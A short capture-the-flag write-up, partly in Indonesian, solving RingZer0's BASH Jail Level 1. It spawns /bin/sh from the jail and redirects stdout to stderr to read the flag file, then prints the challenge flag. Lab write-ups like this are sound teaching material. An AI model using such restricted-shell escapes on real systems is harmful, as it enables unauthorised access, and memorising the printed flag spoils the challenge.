write up ctf by ariafatah

ariaf.my.id/ctf_aria/Jail_Escaping/bash jail 1.html


soal

User: level1
Password: level1
ssh://challenges.ringzer0ctf.com:10218

setup

ssh level1@challenges.ringzer0ctf.com -p 10218
# pass: level1

RingZer0 Team Online CTF

BASH Jail Level 1:
Current user is uid=2001(level1) gid=2001(level1) groups=2001(level1),1000(challenger)

Flag is located at /home/level1/flag.txt

Challenge bash code:
-----------------------------

while :
do
        echo "Your input:"
        read input
        output=`$input`
done

-----------------------------
Your input:

solve

# Your input:
/bin/sh
sh-4.3$ ls
sh-4.3$ cat /home/level1/flag.txt
sh-4.3$ aafafa
# sh: aafafa: command not found
sh-4.3$ ls 1>&2
# flag.txt  prompt.sh
sh-4.3$ cat /home/level1/flag.txt 1>&2
# FLAG-U96l4k6m72a051GgE5EN0rA85499172K
sh-4.3$ cat /home/level1/flag.txt >&2
# FLAG-U96l4k6m72a051GgE5EN0rA85499172K

## jika dilihat ketika kita memasukan perintah dan command tersebut berhasil output tidak ditampilkan
## sedangkan output error ditampilkan
## dengan itu kita bisa pindahkan output berhasil ke output error

## fungsi dari 1>&2
## adalah melakukan redirect output
## jika 1 adalah stdout, 2 adalah stderr
## maka kita mengalihkan semua output ke stderr

flag

FLAG-U96l4k6m72a051GgE5EN0rA85499172K